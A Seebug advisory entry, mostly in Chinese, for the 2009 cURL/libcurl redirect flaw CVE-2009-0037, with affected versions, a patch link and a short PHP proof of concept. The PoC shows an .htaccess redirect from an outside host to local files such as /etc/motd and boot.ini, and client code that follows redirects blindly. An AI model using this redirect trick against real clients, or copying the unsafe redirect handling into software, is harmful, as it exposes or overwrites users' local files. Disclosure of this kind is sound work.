Lucene search

K
seebugRootSSV:4867
HistoryMar 05, 2009 - 12:00 a.m.

cURL/libcURL HTTP Location:重新定向绕过安全限制漏洞

2009-03-0500:00:00
Root
www.seebug.org
21

0.008 Low

EPSS

Percentile

78.9%

BUGTRAQ ID: 33962
CVE(CAN) ID: CVE-2009-0037

cURL是命令行传输文件工具,支持FTP、FTPS、HTTP、HTTPS、GOPHER、TELNET、DICT、FILE和LDAP。

跟随HTTP Location:的cURL会重新定向到scp:或file:// URL,因此如果用户点击了特制的重新定向URL的话(例如libcurl客户端读取RSS源),恶意的HTTP服务器就可以覆盖或泄露任意本地文件系统的内容,或执行任意命令。

Daniel Stenberg curl 5.11 - 7.19.3
厂商补丁:

Daniel Stenberg

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

<a href=“http://curl.haxx.se/download/curl-7.19.4.zip” target=“_blank”>http://curl.haxx.se/download/curl-7.19.4.zip</a>


                                                &lt;?php
// This is an example of a vulnerable peice of PHP code
// If libcurl uses CURLOPT_FOLLOWLOCATION it could lead
// to arbitrary file access.
// The malicious redirect on withdk.com looks like this
// in .htaccess:
// # for Linux
// redirect 302 /test file:///etc/motd
// # for Win32
// redirect 302 /test file:///c:\boot.ini
// print_r ( curl_version() );
$c = new cc;
$c-&gt;fetch('http://withdk.com/malicious-redirect');
class cc {
function fetch($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$result1 = curl_exec($ch);
echo $result1;
curl_close($ch);
}
}
?&gt;